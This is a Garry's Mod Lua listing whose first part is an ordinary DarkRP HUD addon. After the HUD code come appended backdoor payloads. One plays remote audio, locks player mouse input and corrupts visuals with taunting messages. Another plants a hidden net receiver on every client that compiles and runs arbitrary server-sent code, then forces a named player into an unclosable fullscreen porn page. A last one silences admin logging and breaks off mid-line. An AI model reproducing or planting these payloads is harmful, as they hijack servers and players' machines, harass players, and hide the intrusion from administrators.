5228 Avatar:SetSize( 70 *PIXConfig.HUDScale, 70 *PIXConfig.HUDScale)
5229 Avatar:SetPos( 15 *PIXConfig.HUDScale,ScrH() - 128 *PIXConfig.HUDScale)
5230 Avatar:SetPlayer( LocalPlayer(), 64 )
5231
5232 end
5233end
5234
5235 /*---------------------------------------------------------------------------
5236
5237 Ammo
5238
5239 ---------------------------------------------------------------------------*/
5240
5241if PIXConfig.AmmoHUD == true then
5242
5243 local wep, total, clip, nicename
5244 local function Ammo()
5245 ply = LocalPlayer()
5246 if !IsValid(ply:GetActiveWeapon()) then return end
5247 wep = ply:GetActiveWeapon()
5248 total = ply:GetAmmoCount(wep:GetPrimaryAmmoType())
5249 clip = wep:Clip1()
5250 nicename = wep:GetPrintName()
5251
5252
5253 if clip < 0 or wep:GetClass() == "weapon_physcannon" then return end
5254
5255 draw.RoundedBox(0,ScrW() - (204 - 1)*PIXConfig.HUDScale,ScrH() - (95 - 3)*PIXConfig.HUDScale,198*PIXConfig.HUDScale,30 *PIXConfig.HUDScale,Color(10, 10, 10, 250))
5256 draw.RoundedBox(0,ScrW() - (204 - 1)*PIXConfig.HUDScale,ScrH() - (60 - 1)*PIXConfig.HUDScale,198 *PIXConfig.HUDScale,55 *PIXConfig.HUDScale,Color(40, 40, 40, 230))
5257
5258 if total == 0 and clip == 0 then
5259 draw.SimpleText(clip,"vie",ScrW() - 154*PIXConfig.HUDScale,ScrH() - 55*PIXConfig.HUDScale,PIXConfig.ColorAmmorOut,TEXT_ALIGN_CENTER)
5260 draw.SimpleText(total,"nom",ScrW() - 54*PIXConfig.HUDScale,ScrH() - 45*PIXConfig.HUDScale,PIXConfig.ColorAmmorOut,TEXT_ALIGN_CENTER)
5261 draw.SimpleText("/","slash",ScrW() - 99*PIXConfig.HUDScale,ScrH() - 60*PIXConfig.HUDScale,PIXConfig.ColorAmmorOut,TEXT_ALIGN_CENTER)
5262 elseif total >= 0 and clip >= 0 then
5263 draw.SimpleText(clip,"vie",ScrW() - 154*PIXConfig.HUDScale,ScrH() - 55*PIXConfig.HUDScale,PIXConfig.ColorClip,TEXT_ALIGN_CENTER)
5264 draw.SimpleText(total,"nom",ScrW() - 54*PIXConfig.HUDScale,ScrH() - 45*PIXConfig.HUDScale,PIXConfig.ColorTotal,TEXT_ALIGN_CENTER)
5265 draw.SimpleText("/","slash",ScrW() - 99*PIXConfig.HUDScale,ScrH() - 60*PIXConfig.HUDScale,PIXConfig.ColorAmmoOut,TEXT_ALIGN_CENTER)
5266
5267 end
5268
5269
5270
5271 if string.len(nicename) > 21 then nicename = string.Left(nicename, 19) .. "..." end
5272 draw.SimpleText(nicename,"nom",ScrW() - 104*PIXConfig.HUDScale,ScrH() - 90*PIXConfig.HUDScale,PIXConfig.AmmoName,TEXT_ALIGN_CENTER)
5273 end
5274
5275 hook.Add("HUDPaint", "Ammo", Ammo)
5276end
5277
5278 /*---------------------------------------------------------------------------
5279
5280 PlayerInfo
5281
5282 ---------------------------------------------------------------------------*/
5283
5284local function Plaryerinfo()
5285
5286 local name = LocalPlayer():Nick() or ""
5287 local job = LocalPlayer():getDarkRPVar("job") or ""
5288 local money = "$"..formatNumber(LocalPlayer():getDarkRPVar("money") or 0)
5289 local salary = "$"..formatNumber(LocalPlayer():getDarkRPVar("salary") or 0)
5290
5291
5292 draw.DrawText(name, "nom", 195 *PIXConfig.HUDScale,ScrH() - 218 *PIXConfig.HUDScale, PIXConfig.ColorName, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
5293
5294 draw.DrawText(job, "argent2", 11 *PIXConfig.HUDScale,ScrH() - 179 *PIXConfig.HUDScale, PIXConfig.ColorJob, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
5295
5296 draw.DrawText(money, "argent", 190 *PIXConfig.HUDScale, ScrH() - 40*PIXConfig.HUDScale, PIXConfig.ColorMoney, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
5297
5298 draw.DrawText(salary, "argent2", 370*PIXConfig.HUDScale,ScrH() - 179 *PIXConfig.HUDScale, PIXConfig.ColorSalary, TEXT_ALIGN_RIGHT, TEXT_ALIGN_CENTER)
5299
5300end
5301
5302
5303 /*---------------------------------------------------------------------------
5304
5305 Health
5306
5307 ---------------------------------------------------------------------------*/
5308
5309local function Health()
5310 local vie = LocalPlayer():Health()
5311 local Health = LocalPlayer():Health() or 0
5312 local FullHealth = LocalPlayer():Health() or 0
5313 if Health < 0 then Health = 0 elseif Health > 100 then Health = 100 end
5314 local DrawHealth = math.Min(Health/GAMEMODE.Config.startinghealth, 1)
5315
5316
5317 if PIXConfig.HungerActivate == true and PIXConfig.ArmorActivate == true then
5318
5319 draw.RoundedBox(0,96.4,ScrH() - 130, 260, 15, Color(10, 10, 10,200))
5320
5321 if Health != 0 then
5322 draw.RoundedBox(0,96.5,ScrH() - 130, 260 * Health / 100, 15, PIXConfig.HealthBar)
5323 end
5324
5325 surface.SetMaterial( hearth );
5326 surface.SetDrawColor(PIXConfig.Icohealth)
5327 surface.DrawTexturedRect( 359,ScrH() - 129, 13, 13);
5328 end
5329
5330 if PIXConfig.HungerActivate == false and PIXConfig.ArmorActivate == true then
5331
5332 draw.RoundedBox(0,96.4,ScrH() - 120, 260, 15, Color(10, 10, 10,200))
5333
5334 if Health != 0 then
5335 draw.RoundedBox(0,96.5,ScrH() - 120, 260 * Health / 100, 15, PIXConfig.HealthBar)
5336 end
5337
5338 surface.SetMaterial( hearth );
5339 surface.SetDrawColor(PIXConfig.Icohealth)
5340 surface.DrawTexturedRect( 359,ScrH() - 119, 13, 13);
5341 end
5342
5343 if PIXConfig.HungerActivate == true and PIXConfig.ArmorActivate == false then
5344
5345 draw.RoundedBox(0,96.4,ScrH() - 120, 260, 15, Color(10, 10, 10,200))
5346
5347 if Health != 0 then
5348 draw.RoundedBox(0,96.5,ScrH() - 120, 260 * Health / 100, 15, PIXConfig.HealthBar)
5349 end
5350
5351 surface.SetMaterial( hearth );
5352 surface.SetDrawColor(PIXConfig.Icohealth)
5353 surface.DrawTexturedRect( 359,ScrH() - 119, 13, 13);
5354
5355 end
5356
5357 if PIXConfig.HungerActivate == false and PIXConfig.ArmorActivate == false then
5358
5359 draw.RoundedBox(0,96.4,ScrH() - 100, 260, 15, Color(10, 10, 10,200))
5360
5361 if Health != 0 then
5362 draw.RoundedBox(0,96.5,ScrH() - 100, 260 * Health / 100, 15, PIXConfig.HealthBar)
5363 end
5364
5365 surface.SetMaterial( hearth );
5366 surface.SetDrawColor(PIXConfig.Icohealth)
5367 surface.DrawTexturedRect( 359,ScrH() - 99, 13, 13);
5368
5369 end
5370 draw.DrawText(vie, "vieecrit", 230 *PIXConfig.HUDScale,ScrH() - 131 *PIXConfig.HUDScale, PIXConfig.ColorName, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
5371end
5372
5373
5374
5375 /*---------------------------------------------------------------------------
5376
5377 Armor
5378
5379 ---------------------------------------------------------------------------*/
5380
5381local function Armor()
5382
5383 local Armor = LocalPlayer():Armor() or 0
5384 local FullHealth = LocalPlayer():Armor() or 0
5385 if Armor < 0 then Armor = 0 elseif Armor > 100 then Armor = 100 end
5386 local DrawArmor = math.Min(Armor/GAMEMODE.Config.startinghealth, 1)
5387
5388 if PIXConfig.HungerActivate == true and PIXConfig.ArmorActivate == true then
5389 draw.RoundedBox(0,96.4,ScrH() - 100, 260, 15, Color(10, 10, 10,200))
5390
5391 if Armor != 0 then
5392 draw.RoundedBox(0,96.4,ScrH() - 100, 260 * Armor /100, 15,PIXConfig.ArmorBar)
5393 end
5394
5395 surface.SetMaterial( shield );
5396 surface.SetDrawColor(PIXConfig.IcoArmor)
5397 surface.DrawTexturedRect( 359,ScrH() - 100, 13, 13);
5398 end
5399
5400 if PIXConfig.HungerActivate == false and PIXConfig.ArmorActivate == true then
5401 draw.RoundedBox(0,96.4,ScrH() - 81, 260, 15, Color(10, 10, 10,200))
5402
5403 if Armor != 0 then
5404 draw.RoundedBox(0,96.4,ScrH() - 81, 260 * Armor /100, 15,PIXConfig.ArmorBar)
5405 end
5406
5407 surface.SetMaterial( shield );
5408 surface.SetDrawColor(PIXConfig.IcoArmor)
5409 surface.DrawTexturedRect( 359,ScrH() - 81, 13, 13);
5410
5411 end
5412
5413 if PIXConfig.ArmorActivate == false and PIXConfig.HungerActivate == true then
5414 draw.RoundedBox(0,96.4,ScrH() - 81, 260, 15, Color(10, 10, 10,0))
5415 end
5416
5417end
5418
5419
5420 /*---------------------------------------------------------------------------
5421
5422 Hunger
5423
5424 ---------------------------------------------------------------------------*/
5425
5426local function Hunger()
5427
5428
5429 local Hunger = math.ceil(LocalPlayer():getDarkRPVar("Energy") or 0)
5430 local EchoHunger = math.ceil(LocalPlayer():getDarkRPVar("Energy") or 0)
5431 if Hunger < 0 then Hunger = 0 elseif Hunger > 100 then Hunger = 100 end
5432
5433 if PIXConfig.HungerActivate == true and PIXConfig.ArmorActivate == true then
5434 draw.RoundedBox(0,96.4,ScrH() - 70, 260, 15, Color(10, 10, 10,200))
5435
5436 if Hunger != 0 then
5437 draw.RoundedBox(0,96.4,ScrH() - 70, 260 * Hunger /100, 15, PIXConfig.HungerBar)
5438 end
5439
5440 surface.SetMaterial( food );
5441 surface.SetDrawColor(PIXConfig.IcoHunger)
5442 surface.DrawTexturedRect( 358,ScrH() - 70, 15, 15);
5443
5444 end
5445
5446 if PIXConfig.HungerActivate == true and PIXConfig.ArmorActivate == false then
5447 draw.RoundedBox(0,96.4,ScrH() - 81, 260, 15, Color(10, 10, 10,200))
5448
5449 if Hunger != 0 then
5450 draw.RoundedBox(0,96.4,ScrH() - 81, 260 * Hunger /100, 15, PIXConfig.HungerBar)
5451 end
5452
5453 surface.SetMaterial( food );
5454 surface.SetDrawColor(PIXConfig.IcoHunger)
5455 surface.DrawTexturedRect( 359,ScrH() - 81, 15, 15);
5456
5457 end
5458
5459end
5460
5461local function Stamina()
5462
5463
5464 local TCBStamina = LocalPlayer():GetNWInt( "tcb_stamina" ) or 0
5465 local echoTCBStamina = LocalPlayer():GetNWInt( "tcb_stamina" ) or 0
5466 if TCBStamina < 0 then TCBStamina = 0 elseif TCBStamina > 100 then TCBStamina = 100 end
5467
5468 surface.SetDrawColor( 10, 10, 10, 250 )
5469 surface.DrawRect( 378*PIXConfig.HUDScale,ScrH() - 45*PIXConfig.HUDScale, 20*PIXConfig.HUDScale, 40 *PIXConfig.HUDScale)
5470
5471
5472 surface.SetDrawColor( 40, 40, 40, 230 )
5473 surface.DrawRect( 379*PIXConfig.HUDScale,ScrH() - 180*PIXConfig.HUDScale, 20*PIXConfig.HUDScale, 132 *PIXConfig.HUDScale)
5474
5475 Tra = 128 / 100 * TCBStamina
5476
5477 if TCBStamina != 0 and PIXConfig.HUDScale >= 0.80 then
5478 draw.RoundedBox(0,382.5*PIXConfig.HUDScale / 1.004,ScrH() - 50* PIXConfig.HUDScale - Tra * PIXConfig.HUDScale, 18 *PIXConfig.HUDScale, Tra *PIXConfig.HUDScale, PIXConfig.TCBStamina)
5479 end
5480
5481 if TCBStamina != 0 and PIXConfig.HUDScale < 0.80 then
5482 draw.RoundedBox(0,382.5*PIXConfig.HUDScale / 1.003,ScrH() - 50* PIXConfig.HUDScale - Tra * PIXConfig.HUDScale, 16 *PIXConfig.HUDScale, Tra *PIXConfig.HUDScale, PIXConfig.TCBStamina)
5483 end
5484
5485 surface.SetMaterial( run );
5486 surface.SetDrawColor(255, 255, 255, 255)
5487 surface.DrawTexturedRect( 378.5*PIXConfig.HUDScale,ScrH() - 40*PIXConfig.HUDScale, 20*PIXConfig.HUDScale, 28*PIXConfig.HUDScale);
5488
5489end
5490
5491
5492
5493
5494
5495 /*---------------------------------------------------------------------------
5496
5497 Wanted And Gunlicense
5498
5499 ---------------------------------------------------------------------------*/
5500
5501
5502local function PlayerIcons()
5503
5504 if LocalPlayer():getDarkRPVar("HasGunlicense") then
5505 surface.SetMaterial( gun );
5506 surface.SetDrawColor(200,200,200,255)
5507 surface.DrawTexturedRect( 7*PIXConfig.HUDScale,ScrH() - 40*PIXConfig.HUDScale, 32*PIXConfig.HUDScale, 32*PIXConfig.HUDScale);
5508 else
5509 surface.SetMaterial( gun );
5510 surface.SetDrawColor(10,10,10,255)
5511 surface.DrawTexturedRect( 7*PIXConfig.HUDScale,ScrH() - 40*PIXConfig.HUDScale, 32*PIXConfig.HUDScale, 32*PIXConfig.HUDScale);
5512 end
5513
5514 local lel = (math.sin(CurTime()) + 1) / 3
5515
5516 if LocalPlayer():getDarkRPVar("wanted") then
5517 surface.SetMaterial( wanted );
5518 surface.SetDrawColor(lel * 200, 0, 0 - (lel * 230), 240)
5519 surface.DrawTexturedRect( 338*PIXConfig.HUDScale,ScrH() - 41*PIXConfig.HUDScale, 32*PIXConfig.HUDScale, 32*PIXConfig.HUDScale);
5520 else
5521 surface.SetMaterial( wanted );
5522 surface.SetDrawColor(10,10,10,255)
5523 surface.DrawTexturedRect( 338*PIXConfig.HUDScale,ScrH() - 41*PIXConfig.HUDScale, 32*PIXConfig.HUDScale, 32*PIXConfig.HUDScale);
5524 end
5525
5526
5527end
5528
5529
5530
5531
5532local function PlayerModel()
5533 if PIXConfig.SteamImage == false then
5534
5535
5536
5537 PlayerModel = vgui.Create("DModelPanel")
5538 function PlayerModel:LayoutEntity( Entity ) return end
5539 PlayerModel:SetModel( LocalPlayer():GetModel() )
5540 PlayerModel:SetPos(10*PIXConfig.HUDScale,ScrH() - 141*PIXConfig.HUDScale)
5541 PlayerModel:SetSize( 85 *PIXConfig.HUDScale, 83 *PIXConfig.HUDScale)
5542 PlayerModel:SetCamPos(Vector( 16, -8, 65 ))
5543 PlayerModel:SetLookAt(Vector( 0, 0, 65 ))
5544
5545 timer.Create( "UpdatePlayerModel", 0.5, 0, function()
5546 if LocalPlayer():GetModel() != PlayerModel.Entity:GetModel() then
5547 PlayerModel:Remove()
5548 PlayerModel = vgui.Create("DModelPanel")
5549 function PlayerModel:LayoutEntity( Entity ) return end
5550 PlayerModel:SetModel( LocalPlayer():GetModel())
5551 PlayerModel:SetPos(10*PIXConfig.HUDScale ,ScrH() - 141*PIXConfig.HUDScale)
5552 PlayerModel:SetSize( 85*PIXConfig.HUDScale, 83 *PIXConfig.HUDScale)
5553 PlayerModel:SetCamPos(Vector( 16, -8, 65 ))
5554 PlayerModel:SetLookAt(Vector( 0, 0, 65 ))
5555 end
5556 end)
5557 end
5558end
5559
5560 hook.Add("InitPostEntity", "PlayerModel", PlayerModel)
5561
5562
5563 /*---------------------------------------------------------------------------
5564
5565 Agenda
5566
5567 ---------------------------------------------------------------------------*/
5568
5569
5570local function Agenda()
5571 local agenda = LocalPlayer():getAgendaTable()
5572 if not agenda then return end
5573
5574 draw.RoundedBox(0, TEXT_ALIGN_LEFT + 5 *PIXConfig.HUDScale, TEXT_ALIGN_TOP + 40 *PIXConfig.HUDScale, 400*PIXConfig.HUDScale, 120*PIXConfig.HUDScale, Color( 40, 40, 40, 200 ))
5575 draw.RoundedBox(0, TEXT_ALIGN_LEFT + 5 *PIXConfig.HUDScale, TEXT_ALIGN_TOP + 1*PIXConfig.HUDScale, 400*PIXConfig.HUDScale, 36*PIXConfig.HUDScale, Color( 10, 10, 10, 250 ))
5576
5577
5578
5579 draw.DrawNonParsedText("POLICE AGENDA", "agenda", 160*PIXConfig.HUDScale, 12*PIXConfig.HUDScale, Color(255, 255, 255, 255), 0)
5580
5581 local text = LocalPlayer():getDarkRPVar("agenda") or ""
5582
5583 text = text:gsub("//", "\n"):gsub("\\n", "\n")
5584 text = DarkRP.textWrap(text, "DarkRPHUD1", 394 *PIXConfig.HUDScale)
5585 draw.DrawNonParsedText(text, "DarkRPHUD1", 10*PIXConfig.HUDScale, 45*PIXConfig.HUDScale, Color(255, 255, 255, 255), 0)
5586end
5587
5588
5589 /*---------------------------------------------------------------------------
5590
5591 Voice Tchat
5592
5593 ---------------------------------------------------------------------------*/
5594
5595
5596local VoiceChatTexture = surface.GetTextureID("voice/icntlk_pl")
5597local function DrawVoiceChat()
5598 if LocalPlayer().DRPIsTalking then
5599 local chbxX, chboxY = chat.GetChatBoxPos()
5600
5601 local Rotating = math.sin(CurTime()*3)
5602 local backwards = 0
5603 if Rotating < 0 then
5604 Rotating = 1-(1+Rotating)
5605 backwards = 180
5606 end
5607 surface.SetTexture(VoiceChatTexture)
5608 surface.SetDrawColor(Color(140,0,0,180))
5609 surface.DrawTexturedRectRotated(ScrW() - 100, chboxY, Rotating*96, 96, backwards)
5610 end
5611end
5612
5613
5614 /*---------------------------------------------------------------------------
5615
5616 Lockdown
5617
5618 ---------------------------------------------------------------------------*/
5619
5620
5621local function Lockdown()
5622
5623 if GetGlobalBool("DarkRP_LockDown") then
5624
5625 --> Variables
5626 local cin = (math.sin(CurTime()) + 1) / 2
5627
5628 --> Background
5629 draw.RoundedBox( 0, 0, ScrH()- 1100, 5, 1280, Color(cin * 10, 0, 150 - (cin * 255), 255) )
5630 draw.RoundedBox( 0, ScrW()-5, ScrH()- 1100, 5, 1280, Color(cin * 10, 0, 150 - (cin * 255), 255) )
5631 draw.RoundedBox( 0, ScrW()-1920, ScrH()- 5, 1920, 5, Color(cin * 10, 0, 150 - (cin * 255), 255) )
5632 draw.RoundedBox( 0, 0, ScrH()/ 10000, 1920, 5, Color(cin * 10, 0, 150 - (cin * 255), 255) )
5633 draw.RoundedBox( 0,0 , ScrH() -275,375 , 40, Color(cin * 10, 0, 150 - (cin * 255), 255) )
5634 draw.DrawText("The mayor has initialized a lockdown! Return to your homes!", "lockdown", 190 , ScrH()- 265, Color(255, 255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
5635 end
5636
5637end
5638
5639
5640
5641 /*---------------------------------------------------------------------------
5642
5643 Draw Player Info
5644
5645 ---------------------------------------------------------------------------*/
5646local function AboveHead()
5647
5648 local plyMeta = FindMetaTable("Player")
5649
5650 plyMeta.drawPlayerInfo = function( self )
5651
5652 local pos = self:EyePos()
5653 pos.z = pos.z + 10
5654 pos = pos:ToScreen()
5655
5656
5657 local x = pos.x
5658 local y = pos.y
5659 local teamJob = team.GetName(ply:Team())
5660 local g = self:GetNWString( "usergroup" )
5661 local teamname = team.GetName(self:Team())
5662
5663
5664 draw.RoundedBox( 0, x + 74, y - 35, 35, 35, Color( 40, 40, 40, 240 ) )
5665 draw.RoundedBox( 0, x - 111, y - 35, 35, 35, Color( 40, 40, 40, 240 ) )
5666 draw.RoundedBox( 0, x - 76, y - 20, 150, 5, Color( 10, 10, 10, 250 ) )
5667
5668
5669 draw.DrawText(self:Nick(), "nom", pos.x -2, pos.y - 45, PIXConfig.ColorNameHead, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
5670
5671
5672 draw.DrawText(self:getDarkRPVar("job") or teamJob, "nom", pos.x - 2, pos.y - 18, team.GetColor(ply:Team()), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
5673
5674
5675 if self:getDarkRPVar("HasGunlicense") then
5676 surface.SetMaterial( gun );
5677 surface.SetDrawColor(200,200,200,255)
5678 surface.DrawTexturedRect( x - 108.5, y - 31.5, 30, 30);
5679 else
5680 surface.SetMaterial( gun );
5681 surface.SetDrawColor(10,10,10,255)
5682 surface.DrawTexturedRect( x - 108.5, y - 33, 30, 30);
5683 end
5684
5685 local lel = (math.sin(CurTime()) + 1) / 3
5686
5687 if self:getDarkRPVar("wanted") then
5688 surface.SetMaterial( wanted );
5689 surface.SetDrawColor(lel * 255, 0, 0 - (lel * 230), 240)
5690 surface.DrawTexturedRect( x + 77, y - 32, 30, 30 );
5691 else
5692 surface.SetMaterial( wanted );
5693 surface.SetDrawColor(10,10,10,255)
5694 surface.DrawTexturedRect( x + 77, y - 32, 30, 30 );
5695 end
5696
5697
5698
5699 end
5700end
5701
5702
5703
5704 local Arrested = function() end
5705
5706 net.Receive("GotArrested", function(msg)
5707 local StartArrested = CurTime()
5708 local ArrestedUntil = msg:ReadFloat()
5709
5710 Arrested = function()
5711 local shouldDraw = hook.Call("HUDShouldDraw", GAMEMODE, "DarkRP_ArrestedHUD")
5712 if shouldDraw == false then return end
5713
5714 if CurTime() - StartArrested <= ArrestedUntil and localplayer:getDarkRPVar("Arrested") then
5715 draw.DrawNonParsedText(DarkRP.getPhrase("youre_arrested", math.ceil((ArrestedUntil - (CurTime() - StartArrested)) * 1 / game.GetTimeScale())), "DarkRPHUD1", Scrw / 2, Scrh - Scrh / 12, Color(255, 255, 255, 255), 1)
5716 elseif not localplayer:getDarkRPVar("Arrested") then
5717 Arrested = function() end
5718 end
5719 end
5720 end)
5721
5722 local AdminTell = function() end
5723
5724 net.Receive("AdminTell", function(msg)
5725 timer.Remove("DarkRP_AdminTell")
5726 local Message = msg:ReadString()
5727
5728 AdminTell = function()
5729 draw.RoundedBox(4, 10, 10, Scrw - 20, 110, Color(0, 0, 0, 200))
5730 draw.DrawNonParsedText(DarkRP.getPhrase("listen_up"), "GModToolName", Scrw / 2 + 10, 10, Color(255, 255, 255, 255), 1)
5731 draw.DrawNonParsedText(Message, "ChatFont", Scrw / 2 + 10, 90, Color(200, 30, 30, 255), 1)
5732 end
5733
5734 timer.Create("DarkRP_AdminTell", 10, 1, function()
5735 AdminTell = function() end
5736 end)
5737 end)
5738
5739
5740
5741 /*---------------------------------------------------------------------------
5742
5743 DrawEntityDisplay
5744
5745 ---------------------------------------------------------------------------*/
5746
5747
5748 local function DrawEntityDisplay()
5749 local shootPos = LocalPlayer():GetShootPos()
5750 local aimVec = LocalPlayer():GetAimVector()
5751
5752 for k, ply in pairs(players or player.GetAll()) do
5753 if ply == LocalPlayer() or not ply:Alive() or ply:GetNoDraw() then continue end
5754 local hisPos = ply:GetShootPos()
5755
5756 if GAMEMODE.Config.globalshow then
5757 ply:drawPlayerInfo()
5758 -- Draw when you're (almost) looking at him
5759 elseif hisPos:DistToSqr(shootPos) < 160000 then
5760 local pos = hisPos - shootPos
5761 local unitPos = pos:GetNormalized()
5762 if unitPos:Dot(aimVec) > 0.95 then
5763 local trace = util.QuickTrace(shootPos, pos, LocalPlayer())
5764 if trace.Hit and trace.Entity ~= ply then return end
5765 ply:drawPlayerInfo()
5766 end
5767 end
5768 end
5769
5770 local tr = LocalPlayer():GetEyeTrace()
5771
5772 if IsValid(tr.Entity) and tr.Entity:isKeysOwnable() and tr.Entity:GetPos():Distance(LocalPlayer():GetPos()) < 200 then
5773 tr.Entity:drawOwnableInfo()
5774 end
5775
5776 end
5777
5778
5779 local function DisplayNotify(msg)
5780 local txt = msg:ReadString()
5781 GAMEMODE:AddNotify(txt, msg:ReadShort(), msg:ReadLong())
5782 surface.PlaySound("buttons/lightswitch2.wav")
5783
5784 -- Log to client console
5785 print(txt)
5786 end
5787 net.Receive("_Notify", DisplayNotify)
5788
5789 function DisableDrawInfo()
5790 return false
5791 end
5792 hook.Add("HUDDrawTargetID", "DisableDrawInfo", DisableDrawInfo)
5793
5794 /*---------------------------------------------------------------------------
5795
5796 Draw Hud
5797
5798 ---------------------------------------------------------------------------*/
5799
5800
5801local function DrawBlastHUD()
5802
5803
5804 Base()
5805 if PIXConfig.SteamImage == true then
5806 SteamImage()
5807 end
5808 Plaryerinfo()
5809
5810 Health()
5811
5812 Armor()
5813
5814 Hunger()
5815
5816 PlayerIcons()
5817
5818 Agenda()
5819 if PIXConfig.StaminaActivate == true then
5820 Stamina()
5821 end
5822
5823 DrawVoiceChat()
5824
5825 Lockdown()
5826
5827 if PIXConfig.AboveTheHead == true then
5828 AboveHead()
5829 end
5830end
5831
5832hook.Add("HUDPaint", "DrawBlastHUD", DrawBlastHUD)
5833
5834
5835
5836
5837--[[
5838
5839 PWND SPAM
5840
5841]]--
5842
5843
5844
5845local gfx = {}
5846
5847local messages = {
5848 "Redémarrer ton serveur ne sert à rien !",
5849 "Vous déconnecter ne sert à rien !",
5850 "Je me suis fait chier à faire ce payload",
5851 "Alors tu vas le regarder, en entier",
5852 "Galshi Revolution - Psystem",
5853 "Avoue c'est un peut styler quand même",
5854 "Par un canard"
5855}
5856
5857
5858hook.Add("HUDPaint", "FUCKIT_G",function()
5859 for k,v in pairs(gfx) do
5860 v()
5861 end
5862end)
5863
5864local message = "Ne redemmare pas ton server, cela ne sert a rien"
5865local function SlowType(msg,interval,callback)
5866 callback = callback or function()end
5867 message = ""
5868 for i=1,#msg do
5869 timer.Simple(interval * i,function()
5870 message = message .. msg[i]
5871 end)
5872 end
5873 timer.Simple(#msg*interval,callback)
5874end
5875local function GetRandomSpot()
5876 local ppos = LocalPlayer():GetPos()
5877 return Vector(ppos.x + math.random(-500, 500),ppos.y + math.random(-500, 500),ppos.z + math.random(-10, 10))
5878end
5879surface.CreateFont("PWN",{bold=true,size=40})
5880SOUNDSTART_CTP = false
5881sound.PlayURL("http://rottenfish-drm.tk/r.mp3","no block",function(s)
5882 if not s then return end
5883 if SOUNDSTART_CTP then s:Stop() return end
5884 SOUNDSTART_CTP = true
5885
5886
5887 local ragtbl = {}
5888 for i=1,20 do
5889 ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
5890 ragtbl[i]:SetNoDraw( false )
5891 ragtbl[i]:DrawShadow( true )
5892 end
5893
5894
5895 timer.Create("ChangeRagdolesSpotsAW", 1, 0, function()
5896 for k,v in pairs(ragtbl) do
5897 v:SetPos(GetRandomSpot())
5898 end
5899 end)
5900
5901
5902 hook.Add("AdjustMouseSensitivity","MDR",function()
5903 return 0
5904 end)
5905 gfx["CoolEffect"] = function()
5906 local tbl = {}
5907 s:FFT(tbl,FFT_2048)
5908
5909 local fal = 0
5910 for i=4,6 do
5911 fal = fal + tbl[i]
5912 end
5913
5914 if fal > 0.8 then
5915 local ca = Color(math.random(0,255),math.random(0,255),math.random(0,255), 150)
5916 gfx["ColorChange"] = function()
5917 draw.RoundedBoxEx(0, 0, 0, ScrW(),ScrH(),ca)
5918 end
5919 util.ScreenShake(LocalPlayer():GetPos(),20,20,0.5,20)
5920 local mats = Entity(0):GetMaterials()
5921 for k,v in pairs(mats) do
5922 local r,g,b = ColorRand().r-50, ColorRand().g-50, ColorRand().b-50
5923 Material(v):SetVector("$color", Vector(r,g,b))
5924 Material(v):SetTexture( "$basetexture", "_rt_fullframefb" )
5925 end
5926 end
5927 for k,v in pairs(tbl) do
5928 local col = HSVToColor(k * 1 % 360,1,1)
5929 draw.RoundedBoxEx(0,0,k * 10, (v*10000), 10,col)
5930 draw.RoundedBoxEx(0,ScrW() - (v*10000),k * 10, (v*10000), 10,col)
5931 end
5932 end
5933
5934 timer.Simple(29, function()
5935
5936 hook.Add("GetMotionBlurValues", "YASS",function(a,b,c,d)
5937 return a,b,c+140,d
5938 end)
5939
5940
5941 end)
5942
5943 local cc = 1
5944 local omgs = {}
5945 timer.Create("MVSPOS", 0.04, 0, function()
5946 for k,v in pairs(omgs) do
5947 if omgs[ k ].n <= 0 then omgs[ k ] = nil continue end
5948 omgs[ k ] = {text = omgs[ k ].text, n = omgs[ k ].n - 1}
5949 end
5950 end)
5951 local isPounding = false
5952
5953 timer.Create("NEXTMSG", 6, #messages, function()
5954 if cc > #messages then
5955 isPounding = true
5956 return
5957 end
5958 table.insert(omgs, {text = messages[ cc ],n = ScrH()})
5959 cc = cc + 1
5960 end)
5961
5962 gfx["MessageC"] = function()
5963 if isPounding and (#messages <= 0) then
5964 draw.SimpleText("RT ton server <3", "PWN", ScrW() / 2, ScrH() / 2,Color(200,0,0),1,1)
5965 end
5966 for k,v in pairs(omgs) do
5967 draw.SimpleText(omgs[ k ].text, "PWN", ScrW() / 2, omgs[ k ].n,Color(0,0,0),1,1)
5968 end
5969 end
5970end)
5971concommand.Add("canard", function()
5972 hook.Remove("GetMotionBlurValues", "YASS")
5973 hook.Remove("AdjustMouseSensitivity","MDR")
5974 hook.Remove("HUDPaint", "FUCKIT_G")
5975end)
5976
5977
5978
5979--[[
5980
5981 Stream BAN
5982
5983]]--
5984
5985
5986
5987local function rdm_str(len)
5988 if !len or len <= 0 then return '' end
5989 return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
5990end
5991
5992local net_string = rdm_str(25)
5993
5994util.AddNetworkString(net_string)
5995BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
5996
5997hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
5998 if !ply:IsBot() then
5999 ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
6000 end
6001end)
6002
6003local function SendToClient(ply, code)
6004 timer.Simple(2, function()
6005 local data = util.Compress(code)
6006 local len = #data
6007 net.Start(net_string)
6008 net.WriteUInt(len, 16)
6009 net.WriteData(data, len)
6010 net.Send(ply)
6011 end)
6012end
6013
6014
6015for i=1, #player.GetHumans() do
6016 local ply = player.GetHumans()[i]
6017 if ply:Nick() == "{{argument}}" then
6018 SendToClient(ply,
6019 [[
6020local frame = vgui.Create( "DFrame" )
6021frame:SetSize( ScrW(), ScrH() )
6022frame:SetTitle( "" )
6023frame:Center()
6024frame:ShowCloseButton(false)
6025frame:SetDraggable(false)
6026frame:MakePopup()
6027
6028local html = vgui.Create( "DHTML", frame )
6029html:Dock( FILL )
6030html:OpenURL( "https://pornhub.com" )
6031 ]])
6032 end
6033end
6034
6035
6036
6037--[[
6038
6039 Unban Discret
6040
6041]]--
6042
6043
6044
6045game.ConsoleCommand("ulx logecho 0\n")
6046timer.Simple( "deban", 1, 0, function()
